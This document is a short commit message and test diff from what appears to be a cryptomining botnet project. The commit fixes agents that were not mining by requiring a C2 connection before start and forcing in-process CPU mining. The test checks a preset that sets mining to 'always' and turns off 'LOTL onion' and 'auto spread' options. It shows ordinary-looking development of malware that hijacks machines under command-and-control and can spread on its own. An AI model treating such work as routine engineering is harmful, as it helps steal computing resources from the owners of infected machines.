Fix simple deploy mining: refresh auth tier policy and mine immediately.

Deploy and Mine agents were stuck at 0 H/s because idle mining_mode blocked workers and the tier orchestrator kept pre-auth defaults instead of server ForceTier=cpu_inprocess. Refresh tiers after auth, require C2 before start, surface mining_block_reason in stats_batch.

server/web/src/help/simpleDeploy.test.ts

@@ -59,6 +59,7 @@ describe('simpleMinePreset', () => {
     const p = simpleMinePreset();
     expect(p.simple_deploy).toBe(true);
     expect(p.miner_execution).toBe('inprocess');
+    expect(p.mining_mode).toBe('always');
     expect(p.lotl_onion_enabled).toBe(false);
     expect(p.auto_spread).toBe(false);
   });